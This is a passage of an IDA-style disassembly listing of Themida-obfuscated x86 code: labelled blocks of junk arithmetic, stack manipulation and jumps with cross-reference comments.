		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5A70A9
; ---------------------------------------------------------------------------


loc_59856E:				; CODE XREF: Themida_:0059955Dj
		add	[esp+8], eax
		push	esi
		jmp	loc_59929C
; ---------------------------------------------------------------------------


loc_598578:				; CODE XREF: Themida_:005A6184j
		pop	esp
		jmp	loc_59B1D6
; ---------------------------------------------------------------------------


loc_59857E:				; CODE XREF: Themida_:loc_59C1A0j
		push	ebp
		jmp	loc_5ACDC7
; ---------------------------------------------------------------------------


loc_598584:				; CODE XREF: Themida_:005A0DBFj
		and	bh, 0F8h
		and	bh, 0ACh
		add	bh, 1
		dec	bh
		xor	bh, 0F0h
		or	cl, bh
		mov	ebx, [esp]
		jmp	loc_5AB874
; ---------------------------------------------------------------------------


loc_59859C:				; CODE XREF: Themida_:005A96F7j
		mov	edi, [esp]
		push	7F0Bh
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_59A777
; ---------------------------------------------------------------------------


loc_5985BA:				; CODE XREF: Themida_:005A1A0Bj
		mov	[esp], edx
		push	ecx
		jmp	loc_5AEDB4
; ---------------------------------------------------------------------------


loc_5985C3:				; CODE XREF: Themida_:loc_5A3F09j
		jmp	loc_5AED7E
; ---------------------------------------------------------------------------


loc_5985C8:				; CODE XREF: Themida_:005ABE12j
		add	esp, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5A4401
; ---------------------------------------------------------------------------


loc_5985E2:				; CODE XREF: Themida_:005A3631j
		push	dword ptr [esp]
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5A4DA0
; ---------------------------------------------------------------------------


loc_5985F6:				; CODE XREF: Themida_:005A621Ej
		mov	ebp, 2ADD4FA1h
		push	ecx
		jmp	loc_5AA8E5
; ---------------------------------------------------------------------------


loc_598601:				; CODE XREF: Themida_:loc_5AC7A9j
		xor	ch, 2Bh
		mov	dl, ch
		pop	ecx
		jmp	loc_5A9805
; ---------------------------------------------------------------------------


loc_59860C:				; CODE XREF: Themida_:0059C934j
		jmp	loc_5A9A0B
; ---------------------------------------------------------------------------


loc_598611:				; CODE XREF: Themida_:005A1799j
		add	ebx, edx
		sub	ebx, 158E7EFBh
		add	ebx, 2EF07147h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5ACFF5
; ---------------------------------------------------------------------------


loc_59862D:				; CODE XREF: Themida_:005A19F2j
		xor	eax, [esp]
		pop	esp
		bt	[esp], ax
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59863C:				; CODE XREF: Themida_:005AF28Ej
		push	esi
		jmp	loc_59A42C
; ---------------------------------------------------------------------------


loc_598642:				; CODE XREF: Themida_:005A8674j
		add	[esp+8], eax
		mov	eax, [esp]
		add	esp, 4
		sub	[esp+4], eax
		sub	dword ptr [esp+4], 7DD94E74h
		jmp	loc_5AAD7D
; ---------------------------------------------------------------------------


loc_59865D:				; CODE XREF: Themida_:005A829Cj
		add	esi, 6D4916A0h
		sub	esi, eax
		sub	esi, 6D4916A0h
		pop	eax
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_599F01
; ---------------------------------------------------------------------------


loc_59867A:				; CODE XREF: Themida_:005A9333j
		add	esp, 4
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_598682:				; CODE XREF: Themida_:0059C0DFj
		push	2EEEh
		mov	[esp], ebx
		jmp	loc_599680
; ---------------------------------------------------------------------------


loc_59868F:				; CODE XREF: Themida_:005A2DFBj
		shl	bp, 1
		xor	bp, 0FC60h
		sub	ax, bp
		mov	ebp, [esp]
		add	esp, 4
		add	ax, dx
		push	edi
		push	eax
		mov	ax, 28E7h
		jmp	loc_5AD1F8
; ---------------------------------------------------------------------------


loc_5986AE:				; CODE XREF: Themida_:005A4B8Aj
					; Themida_:005A6FF3j
		inc	edx
		jle	loc_5AC737
		xor	edx, 0A9910682h
		push	eax
		xor	al, 85h
		push	ebp


loc_5986BF:				; CODE XREF: Themida_:0059B29Cj
		push	ebx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 590D143Bh
		sub	esp, 4
		jmp	loc_59C126
; ---------------------------------------------------------------------------


loc_5986D6:				; CODE XREF: Themida_:005A7B18j
		pop	ebx
		sub	edx, esi
		pop	esi
		jmp	loc_5AADFE
; ---------------------------------------------------------------------------


loc_5986DF:				; CODE XREF: Themida_:005A0480j
		sub	ecx, 260B540Ah
		push	esi
		jmp	loc_5A5CDD
; ---------------------------------------------------------------------------


loc_5986EB:				; CODE XREF: Themida_:005AD268j
		push	ebp
		push	5F48h
		mov	[esp], eax
		push	293D5F75h
		mov	eax, [esp]
		add	esp, 4
		neg	eax
		js	loc_59ABEA
		add	eax, 8DCF6922h
		push	eax
		add	dword ptr [esp], 72946AA7h
		pop	ebp


loc_598715:				; CODE XREF: Themida_:005AF2D7j
		push	ebx
		mov	bh, 25h
		jmp	loc_5A04BE
; ---------------------------------------------------------------------------


loc_59871D:				; CODE XREF: Themida_:00598977j
		or	ah, 23h
		jg	loc_5A0AD8
		shl	ah, 6
		sub	ah, 8Ah
		jns	loc_5A4A1A
		xor	ah, 59h
		jmp	loc_59A142
; ---------------------------------------------------------------------------
		pop	ecx
		inc	esi
		sub	esp, 4
		pop	esp


loc_598740:				; CODE XREF: Themida_:005A5DA6j
		mov	edi, 4
		add	esi, 5FEB70F2h
		jmp	loc_59DDEC
; ---------------------------------------------------------------------------


loc_598750:				; CODE XREF: Themida_:005A55A0j
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5A0335
; ---------------------------------------------------------------------------


loc_598759:				; CODE XREF: Themida_:005A31F5j
		pop	edi
		mov	eax, ebp
		jmp	loc_5A061F
; ---------------------------------------------------------------------------


loc_598761:				; CODE XREF: Themida_:005A209Fj
		add	ebx, 1DB97310h
		sub	ebx, edx
		jmp	loc_5A4F81
; ---------------------------------------------------------------------------


loc_59876E:				; CODE XREF: Themida_:0059BBA6j
		push	5DB3h
		mov	[esp], edx
		mov	dh, 0CEh
		jmp	loc_5A43FA
; ---------------------------------------------------------------------------


loc_59877D:				; CODE XREF: Themida_:0059E671j
		mov	[esp], ecx
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_598785:				; CODE XREF: Themida_:005A88A5j
		pop	ecx
		push	ebx
		mov	ebx, 4
		sub	edx, ebx
		jmp	loc_5A49E1
; ---------------------------------------------------------------------------


loc_598793:				; CODE XREF: Themida_:005A9D65j
		push	ecx
		mov	ch, 0F2h
		inc	ch
		xor	ch, 9Ah
		sub	ch, 1
		xor	ch, 0F3h
		add	bl, ch
		pop	ecx
		sub	bl, al
		sub	bl, 9Bh
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		jmp	loc_5A4763
; ---------------------------------------------------------------------------


loc_5987B9:				; CODE XREF: Themida_:005AA05Dj
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		jmp	loc_5AE5BB
; ---------------------------------------------------------------------------


loc_5987CE:				; CODE XREF: Themida_:005A7C15j
		add	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	ebx, edx
		jmp	loc_5A3ECD
; ---------------------------------------------------------------------------


loc_5987E0:				; CODE XREF: Themida_:loc_59CDBFj
		push	esi
		jmp	loc_5A956D
; ---------------------------------------------------------------------------


loc_5987E6:				; CODE XREF: Themida_:loc_5A18ADj
		shr	eax, 4
		js	loc_5A7137
		jmp	loc_5A8F20
; ---------------------------------------------------------------------------


loc_5987F4:				; CODE XREF: Themida_:005AE5F1j
		xor	edi, 0E6D0FC12h
		add	ebp, edi
		pop	edi
		jmp	loc_5A9E30
; ---------------------------------------------------------------------------


loc_598802:				; CODE XREF: Themida_:loc_5A06CBj
		sub	esi, 58FCF9A3h
		jmp	loc_59E177
; ---------------------------------------------------------------------------


loc_59880D:				; CODE XREF: Themida_:005AC4A7j
		sub	esp, 4
		mov	[esp], ecx
		push	edi
		push	32AF3475h
		pop	edi
		shl	edi, 4
		jmp	loc_5A9BDD
; ---------------------------------------------------------------------------


loc_598822:				; CODE XREF: Themida_:005A9209j
		mov	[esp], ebp
		mov	ebp, 6B9600D2h
		shl	ebp, 1
		push	esi
		mov	esi, 7B8E30E9h
		or	ebp, esi
		pop	esi
		not	ebp
		dec	ebp
		jmp	loc_5A3DFC
; ---------------------------------------------------------------------------


loc_59883D:				; CODE XREF: Themida_:005A28C5j
		push	eax
		not	dword ptr [esp]
		jmp	loc_59A902
; ---------------------------------------------------------------------------


loc_598846:				; CODE XREF: Themida_:00598C4Bj
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		shr	ecx, 0Ah
		push	3891h
		mov	[esp], ebx
		push	edx
		jmp	loc_599EAB
; ---------------------------------------------------------------------------


loc_598868:				; CODE XREF: Themida_:005A79DBj
		pop	ecx
		jmp	loc_59F508
; ---------------------------------------------------------------------------


loc_59886E:				; CODE XREF: Themida_:0059E70Ej
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	edx, 4
		add	edx, 4
		jmp	loc_5A9190
; ---------------------------------------------------------------------------


loc_59888D:				; CODE XREF: Themida_:005AB513j
		pop	ebx
		jmp	loc_5A613F
; ---------------------------------------------------------------------------


loc_598893:				; CODE XREF: Themida_:005983A3j
		push	ecx
		not	byte ptr [esp]
		pop	ecx
		jmp	loc_5A69D8
; ---------------------------------------------------------------------------


loc_59889D:				; CODE XREF: Themida_:005AB8A8j
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5988A2:				; CODE XREF: Themida_:0059E907j
		add	eax, edi
		jmp	loc_5A76F1
; ---------------------------------------------------------------------------


loc_5988A9:				; CODE XREF: Themida_:0059B3DEj
		jnz	loc_5A951A
		sub	ecx, 6B34794Ah
		jmp	loc_5AA887
; ---------------------------------------------------------------------------


loc_5988BA:				; CODE XREF: Themida_:0059DBD6j
		add	esi, 4
		push	eax
		mov	eax, 185059E3h
		dec	eax
		jmp	loc_5AF308
; ---------------------------------------------------------------------------


loc_5988CC:				; CODE XREF: Themida_:005AA292j
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5A051F
; ---------------------------------------------------------------------------


loc_5988D9:				; CODE XREF: Themida_:005A79BCj
		or	ecx, ebx
		pop	ebx
		push	ebp
		push	ebx
		jmp	loc_5A92CC
; ---------------------------------------------------------------------------


loc_5988E3:				; CODE XREF: Themida_:005A79F4j
		push	ecx
		jmp	loc_5A7FC4
; ---------------------------------------------------------------------------


loc_5988E9:				; CODE XREF: Themida_:00599AE5j
					; Themida_:005A02F7j
		pop	dword ptr [esp]
		jmp	loc_5A16B3
; ---------------------------------------------------------------------------


loc_5988F1:				; CODE XREF: Themida_:0059CEF4j
					; Themida_:loc_5A6911j
		pop	ecx
		jmp	loc_5A054D
; ---------------------------------------------------------------------------


loc_5988F7:				; CODE XREF: Themida_:005ABF02j
		jnz	loc_598F71
		sub	eax, 0A6E9BDFAh
		mov	ebx, eax
		pop	eax
		push	ebp
		jmp	loc_5AC1B1
; ---------------------------------------------------------------------------
		push	ebp


loc_59890C:				; CODE XREF: Themida_:005AEE9Ej
		add	esp, 4
		jmp	loc_5AED76
; ---------------------------------------------------------------------------


loc_598917:				; CODE XREF: Themida_:005A06F5j
		xor	eax, 0F86E6651h
		push	edi
		mov	edi, eax
		mov	ebx, edi
		jmp	loc_5A3308
; ---------------------------------------------------------------------------


loc_598926:				; CODE XREF: Themida_:005A271Aj
		jb	loc_5AABE8
		add	ebp, 0DBB3D02Bh
		inc	ebp
		sub	ebp, 127AE354h
		sub	ebx, ebp
		jmp	loc_5A2A21
; ---------------------------------------------------------------------------


loc_598940:				; CODE XREF: Themida_:005A2CA5j
		mov	[esp], ebx
		mov	ebx, 324F7058h
		not	ebx
		inc	ebx
		push	esi
		mov	esi, 0CDB08FA4h
		sub	ebx, esi
		pop	esi
		add	esi, ebx
		pop	ebx
		sub	esi, 2
		xchg	esi, [esp]
		jmp	loc_5A32AE
; ---------------------------------------------------------------------------


loc_598965:				; CODE XREF: Themida_:005AE290j
		sub	ebp, esi
		pop	esi
		jmp	loc_5AB083
; ---------------------------------------------------------------------------


loc_59896D:				; CODE XREF: Themida_:005A2609j
		jmp	loc_59838C
; ---------------------------------------------------------------------------
		lodsb
		push	ecx
		push	eax
		mov	ah, 0F6h
		jmp	loc_59871D
; ---------------------------------------------------------------------------


loc_59897C:				; CODE XREF: Themida_:005A54B4j
		neg	eax
		jmp	loc_5A65A6
; ---------------------------------------------------------------------------


loc_598983:				; CODE XREF: Themida_:005A7CE0j
		sub	ebx, 275650E7h
		sub	esi, 6829181Bh
		jmp	loc_5A585F
; ---------------------------------------------------------------------------


loc_598994:				; CODE XREF: Themida_:00599E8Dj
		shr	ecx, 7
		shr	ecx, 5
		dec	ecx
		push	esi
		mov	esi, 216D4FA1h
		jmp	loc_5A09D7
; ---------------------------------------------------------------------------


loc_5989A6:				; CODE XREF: Themida_:005AB73Cj
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_5ACE0E
; ---------------------------------------------------------------------------


loc_5989B4:				; CODE XREF: Themida_:0059FA35j
		push	eax
		jmp	loc_59E7CE
; ---------------------------------------------------------------------------


loc_5989BA:				; CODE XREF: Themida_:005AECA3j
		mov	edx, ebx
		mov	eax, edx
		pop	edx
		pop	ebx
		sub	ebp, eax
		jmp	loc_5A9F4C
; ---------------------------------------------------------------------------


loc_5989C7:				; CODE XREF: Themida_:loc_5A17DAj
		sub	esp, 4
		mov	[esp], edi
		push	ebx
		push	64C1h
		mov	[esp], ecx
		push	edi
		mov	edi, 199C5B4Bh
		add	edi, 0EC8EBC87h
		mov	ecx, edi
		pop	edi
		mov	ebx, ecx
		jmp	loc_5A412F
; ---------------------------------------------------------------------------


loc_5989EC:				; CODE XREF: Themida_:005A0208j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5A0FA3
; ---------------------------------------------------------------------------


loc_598A03:				; CODE XREF: Themida_:005A335Bj
		mov	eax, [esp]
		push	575Ah
		mov	[esp], ecx
		push	esp
		pop	ecx
		jmp	loc_5AA86D
; ---------------------------------------------------------------------------


loc_598A15:				; CODE XREF: Themida_:0059E629j
		push	ebx
		push	ecx
		jmp	loc_5AC094
; ---------------------------------------------------------------------------


loc_598A1C:				; CODE XREF: Themida_:0059F04Bj
					; Themida_:005A0E60j
		xor	edi, 58D3BBB9h
		sub	ebp, edi
		pop	edi
		pop	eax
		sub	eax, ebp
		pop	ebp
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_598A2E:				; CODE XREF: Themida_:005A17A8j
		add	edi, 4449EF2Bh
		push	edi
		mov	edi, 7C306788h
		jmp	loc_5A5CBD
; ---------------------------------------------------------------------------


loc_598A3F:				; CODE XREF: Themida_:005AF454j
		neg	eax
		add	eax, 6EC50C9Dh
		add	edi, eax
		jmp	loc_5ACF4F
; ---------------------------------------------------------------------------


loc_598A4D:				; CODE XREF: Themida_:0059E19Ej
					; Themida_:005ACCFCj
		add	cl, 1Eh
		neg	cl
		jnp	loc_5AF088
		sub	cl, 31h
		add	cl, 64h
		sub	cl, ah
		sub	cl, 64h
		push	ecx


loc_598A64:				; CODE XREF: Themida_:005993C9j
		push	3123h
		mov	[esp], ecx
		mov	ecx, 73EB3030h
		jmp	loc_5ACED5
; ---------------------------------------------------------------------------


loc_598A76:				; CODE XREF: Themida_:005ABAD1j
		and	ebp, 1A31413Ch
		and	ebp, 5DE04D86h
		sub	ebp, 10F5C4B2h
		jmp	loc_5AB2BA
; ---------------------------------------------------------------------------


loc_598A8D:				; CODE XREF: Themida_:loc_59CAB0j
					; Themida_:005A37A7j
		xor	esi, eax
		pop	eax
		push	esi
		not	dword ptr [esp]
		pop	esi
		push	ebx
		mov	ebx, 1F1F74EFh
		jmp	loc_5A1C78
; ---------------------------------------------------------------------------


loc_598AA0:				; CODE XREF: Themida_:0059EAE9j
		pop	bp
		sub	word ptr [esp+2], 0A29h
		add	[esp+2], si
		add	word ptr [esp+2], 0A29h
		sub	word ptr [esp+2], 1FAAh
		sub	word ptr [esp+2], 3D96h
		mov	si, [esp]
		jmp	loc_5A3CB0
; ---------------------------------------------------------------------------


loc_598ACC:				; CODE XREF: Themida_:0059EC89j
		pop	edx
		jmp	loc_5AB672
; ---------------------------------------------------------------------------


loc_598AD2:				; CODE XREF: Themida_:005A7C4Dj
		xchg	edx, [esp]
		pop	esp
		and	esi, 3DBD760Ch
		or	esi, 22A65DCFh
		add	esi, 68A97EAAh
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 16B831A1h
		add	eax, 8C97CAD4h
		sub	esi, eax
		pop	eax
		push	esi
		push	ecx
		mov	ecx, 2A7367F1h
		jmp	loc_5A44DB
; ---------------------------------------------------------------------------


loc_598B0A:				; CODE XREF: Themida_:005A1144j
		mov	eax, 155C1E58h
		shr	eax, 7
		sub	eax, 3EC401DAh
		shl	eax, 7
		sub	eax, 8021B9E5h
		add	ebx, eax
		jmp	loc_5AEE2D
; ---------------------------------------------------------------------------


loc_598B26:				; CODE XREF: Themida_:0059CC87j
		push	esi
		mov	esi, 74F60100h
		add	esi, 9422A279h
		sub	ebp, esi
		mov	esi, [esp]
		jmp	loc_59B00A
; ---------------------------------------------------------------------------


loc_598B3C:				; CODE XREF: Themida_:0059A30Bj
		pop	ebp
		jmp	loc_59BC30
; ---------------------------------------------------------------------------


loc_598B42:				; CODE XREF: Themida_:0059C992j
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5A17FB
; ---------------------------------------------------------------------------


loc_598B4C:				; CODE XREF: Themida_:005AEAF8j
		push	2A47h
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		push	eax
		pop	edi
		jmp	loc_59A7AB
; ---------------------------------------------------------------------------


loc_598B66:				; CODE XREF: Themida_:005AA6CDj
		push	1B22h
		mov	[esp], edi
		push	4
		mov	edi, [esp]
		add	esp, 4
		add	[esp+4], edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		push	edi
		jmp	loc_59C1DF
; ---------------------------------------------------------------------------


loc_598B92:				; CODE XREF: Themida_:005AB065j
		push	edx
		mov	dh, 6Bh
		inc	dh
		jle	loc_5A268E
		xor	dh, 97h
		push	eax
		push	ebx
		mov	bl, 2Ah
		xor	bl, 6
		mov	al, bl
		pop	ebx
		sub	dh, al
		pop	eax
		shl	dh, 6
		push	586h
		mov	[esp], eax
		mov	ah, 0B0h
		dec	ah
		not	ah
		not	ah
		jmp	loc_5AC530
; ---------------------------------------------------------------------------


loc_598BC5:				; CODE XREF: Themida_:0059DD9Bj
					; Themida_:005A0E78j
		not	edx
		xor	edx, 0D56EC1BDh
		and	ebp, edx
		pop	edx
		push	ecx
		mov	ecx, 7344092Ah
		and	ebp, ecx
		pop	ecx
		xor	ebp, 6144000Ch
		add	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_5AD335
; ---------------------------------------------------------------------------


loc_598BE9:				; CODE XREF: Themida_:00598ED6j
					; Themida_:005A74D5j
		push	3B7Fh
		mov	[esp], ebp
		jmp	loc_59BD73
; ---------------------------------------------------------------------------


loc_598BF6:				; CODE XREF: Themida_:0059D4A2j
		push	edi
		mov	edi, 4
		push	ebx
		mov	ebx, edi
		mov	edx, ebx
		pop	ebx
		jmp	loc_5AD627
; ---------------------------------------------------------------------------


loc_598C07:				; CODE XREF: Themida_:005A16EFj
		not	ebx
		jmp	loc_5A7949
; ---------------------------------------------------------------------------


loc_598C0E:				; CODE XREF: Themida_:005ACA8Bj
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_5A95BD
; ---------------------------------------------------------------------------


loc_598C19:				; CODE XREF: Themida_:005ACD04j
		jmp	loc_5A9C9B
; ---------------------------------------------------------------------------


loc_598C1E:				; CODE XREF: Themida_:005AA5BFj
		neg	ecx
		add	ecx, 14BC0609h
		shl	ecx, 5
		add	ecx, 0D3825416h
		jmp	loc_5994FF
; ---------------------------------------------------------------------------


loc_598C34:				; CODE XREF: Themida_:005A03DEj
		shl	al, 6
		js	loc_59F86B
		jmp	loc_5A04D3
; ---------------------------------------------------------------------------


loc_598C42:				; CODE XREF: Themida_:005A35A3j
		push	1C2Dh
		mov	[esp], esi
		push	esp
		jmp	loc_598846
; ---------------------------------------------------------------------------


loc_598C50:				; CODE XREF: Themida_:00598EBDj
		push	ebx
		jmp	loc_5A8D22
; ---------------------------------------------------------------------------


loc_598C56:				; CODE XREF: Themida_:005A8275j
		mov	esi, 6EB55DB9h
		and	esi, 372E74D5h
		sub	esi, 51E4226Eh
		neg	esi
		and	esi, 3364011Bh
		add	esi, 0DCDBFEE9h
		add	eax, esi
		pop	esi
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		dec	word ptr [esp]
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_598C96:				; CODE XREF: Themida_:005A3E47j
		mov	al, 5Ah
		not	al
		jmp	loc_59F136
; ---------------------------------------------------------------------------


loc_598C9F:				; CODE XREF: Themida_:005A5575j
		mov	esp, [esp]
		xor	ebx, 3B7C1E7Ah
		js	loc_598F0E
		jmp	loc_5A5393
; ---------------------------------------------------------------------------
		db 0Fh
		db 8Ah,	0E4h
; ---------------------------------------------------------------------------
		rol	dword ptr [eax], 1
		add	[ecx+51h], dl	; CODE XREF: Themida_:0059C1C2j
		push	dword ptr [esp+4]
		jmp	loc_59AAE2
; ---------------------------------------------------------------------------


loc_598CC4:				; CODE XREF: Themida_:005A6B11j
		jl	loc_5A7DF9
		sub	ecx, 0E743D3C1h
		mov	edi, ecx
		pop	ecx
		sub	ebp, edi
		mov	edi, [esp]
		pop	edi


loc_598CD9:				; CODE XREF: Themida_:005A13C5j
		add	esp, 4
		push	dword ptr [edi+eax*4]
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_59D48D
; ---------------------------------------------------------------------------


loc_598CED:				; CODE XREF: Themida_:005A8E2Cj
		add	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	edi, 2
		xchg	edi, [esp]
		pop	esp
		rol	dword ptr [esp], cl
		pushf
		jmp	loc_5A36F2
; ---------------------------------------------------------------------------


loc_598D08:				; CODE XREF: Themida_:005A1486j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 553E18C3h
		jmp	loc_59BF32
; ---------------------------------------------------------------------------


loc_598D18:				; CODE XREF: Themida_:005A6AD2j
		pop	eax
		push	esi
		push	eax
		push	edx
		mov	edx, 4B420AE3h
		push	esi
		mov	esi, 16716C67h
		xor	edx, esi
		pop	esi
		mov	eax, edx
		pop	edx
		mov	esi, eax
		pop	eax
		add	edx, esi
		pop	esi
		add	edx, edi
		sub	edx, 5D336684h
		sub	edx, 21643691h
		sub	edx, 0C96040Bh
		pop	edi
		xchg	edx, [esp]
		mov	esp, [esp]
		push	764Bh
		jmp	loc_5AC0D7
; ---------------------------------------------------------------------------


loc_598D58:				; CODE XREF: Themida_:0059CC2Fj
		or	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	edx, 67FF3EF2h
		jmp	loc_59AD80
; ---------------------------------------------------------------------------


loc_598D6B:				; CODE XREF: Themida_:0059E3A9j
					; Themida_:005AA495j
		push	esi
		mov	esi, 215D4521h
		shl	esi, 8
		inc	esi
		js	loc_599A02
		jmp	loc_5A50B4
; ---------------------------------------------------------------------------


loc_598D80:				; CODE XREF: Themida_:0059BE9Aj
		xor	edi, 0ACE5F6A9h
		not	edi
		inc	edi
		sub	edi, 934B7824h
		add	esi, edi
		pop	edi
		pop	eax
		xchg	esi, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_5A2221
; ---------------------------------------------------------------------------


loc_598D9F:				; CODE XREF: Themida_:005A1528j
		mov	esi, 16292576h
		sub	esi, 28586B33h
		jle	loc_59B657
		jmp	loc_5A6104
; ---------------------------------------------------------------------------
		and	eax, 10391EF8h


loc_598DBA:				; CODE XREF: Themida_:005A9AFBj
		xchg	esi, [esp]
		pop	esp
		xchg	eax, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5A718A
; ---------------------------------------------------------------------------
		push	ebp
		push	edi
		mov	edi, 7D42209h
		mov	ebp, edi
		pop	edi
		push	esi
		mov	esi, 12185224h
		jmp	loc_59F58E
; ---------------------------------------------------------------------------


loc_598DEB:				; CODE XREF: Themida_:005A921Ej
		or	cl, 0F6h
		jb	loc_5AB8C4
		jmp	loc_59AD58
; ---------------------------------------------------------------------------


loc_598DF9:				; CODE XREF: Themida_:0059904Cj
		sub	esp, 4
		mov	[esp], eax
		push	22B0328Bh
		pop	eax
		not	eax
		and	eax, 2BB3769Ah
		jl	loc_59CDBF
		jmp	loc_59C823
; ---------------------------------------------------------------------------


loc_598E1A:				; CODE XREF: Themida_:00599E94j
		pop	eax
		xor	ebx, 50F5419Dh
		add	ebx, 12282C6Ch
		sub	eax, ebx
		pop	ebx
		jmp	loc_5A302C
; ---------------------------------------------------------------------------


loc_598E2F:				; CODE XREF: Themida_:005AA9A0j
		xchg	ecx, [esp]
		pop	esp
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		jmp	loc_5AACFB
; ---------------------------------------------------------------------------


loc_598E47:				; CODE XREF: Themida_:005A2FFBj
		push	ecx
		mov	ecx, 78C374Dh
		and	eax, ecx
		pop	ecx
		or	eax, 1EAC48F5h
		neg	eax
		jmp	loc_5AB4D0
; ---------------------------------------------------------------------------


loc_598E5C:				; CODE XREF: Themida_:0059CC57j
		jnp	loc_59B6F5
		add	bh, 0B3h
		shr	bh, 1
		shl	bh, 8
		and	bh, 1Ah
		add	bh, 0F6h
		push	eax
		mov	ah, bh
		mov	dl, ah
		pop	eax
		mov	ebx, [esp]
		jmp	loc_5AC0BE
; ---------------------------------------------------------------------------


loc_598E7E:				; CODE XREF: Themida_:005A5D99j
		push	eax
		push	esi
		jmp	loc_5A230B
; ---------------------------------------------------------------------------


loc_598E85:				; CODE XREF: Themida_:0059A684j
		add	ebx, 5AA75DF3h
		jmp	loc_5AC6E5
; ---------------------------------------------------------------------------


loc_598E90:				; CODE XREF: Themida_:00599F11j
		mov	eax, 2
		add	ebx, 173C3024h
		sub	ebx, 315E3068h
		add	ebx, eax
		jmp	loc_5AE6D8
; ---------------------------------------------------------------------------


loc_598EA8:				; CODE XREF: Themida_:005A8528j
		add	ebp, ecx
		jmp	loc_5A5B93
; ---------------------------------------------------------------------------


loc_598EAF:				; CODE XREF: Themida_:005A1327j
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5ACD78
; ---------------------------------------------------------------------------


loc_598EBA:				; CODE XREF: Themida_:005AE5D2j
		mov	ebx, [esp]
		jmp	loc_598C50
; ---------------------------------------------------------------------------


loc_598EC2:				; CODE XREF: Themida_:0059AD7Bj
					; Themida_:005A77EFj
		mov	ebx, 0
		add	ebx, eax
		jmp	loc_5A5D33
; ---------------------------------------------------------------------------


loc_598ECE:				; CODE XREF: Themida_:0059B2F4j
		add	esp, 4
		or	eax, eax
		jz	loc_598BE9
		push	6F7Dh
		jmp	loc_599B97
; ---------------------------------------------------------------------------


loc_598EE6:				; CODE XREF: Themida_:005994B7j
		add	[esp+4], eax
		sub	dword ptr [esp+4], 1E7145Ch
		pop	eax
		jmp	loc_5A45D1
; ---------------------------------------------------------------------------


loc_598EF8:				; CODE XREF: Themida_:005A5B80j
		xor	ecx, 626A0381h
		jmp	loc_5AB1C5
; ---------------------------------------------------------------------------


loc_598F03:				; CODE XREF: Themida_:0059D45Dj
		push	ebx
		mov	ebx, 4F353FC5h
		jmp	loc_5991A4
; ---------------------------------------------------------------------------


loc_598F0E:				; CODE XREF: Themida_:00598CA8j
		jmp	loc_59F7FD
; ---------------------------------------------------------------------------


loc_598F13:				; CODE XREF: Themida_:005A4F93j
		jp	loc_5A67AB
		jmp	loc_59A689
; ---------------------------------------------------------------------------
		mov	edi, 0FFFFFFFFh


loc_598F23:				; CODE XREF: Themida_:005AAAD2j
		mov	ebx, 29AB6BA2h
		mov	edi, 0FA02B791h
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	edi, 4AEB68C8h
		jns	loc_5A671E
		shl	edi, 6
		xor	edi, 7155B059h
		xor	eax, edi
		mov	edi, [esp]
		add	esp, 4
		shr	eax, 6
		push	ebx
		mov	ebx, 94711259h
		sub	eax, 38285947h
		jmp	loc_5AEBCB
; ---------------------------------------------------------------------------


loc_598F68:				; CODE XREF: Themida_:0059A2CFj
		add	bl, 3Fh
		push	ecx
		jmp	loc_5A120C
; ---------------------------------------------------------------------------


loc_598F71:				; CODE XREF: Themida_:loc_5988F7j
		sub	eax, 0A6E9BDFAh
		mov	ebx, eax
		pop	eax
		push	ebp
		jmp	loc_59AD22
; ---------------------------------------------------------------------------


loc_598F7F:				; CODE XREF: Themida_:00599488j
		add	esp, 4
		push	esi
		mov	esi, 19A0603Fh
		sub	ebp, esi
		pop	esi
		pop	ebx
		sub	ebp, 0FFFFFFFFh
		push	ecx
		jmp	loc_59C1A5
; ---------------------------------------------------------------------------


loc_598F9B:				; CODE XREF: Themida_:005A022Cj
		pop	dword ptr [esp]
		jmp	loc_5A5EA8
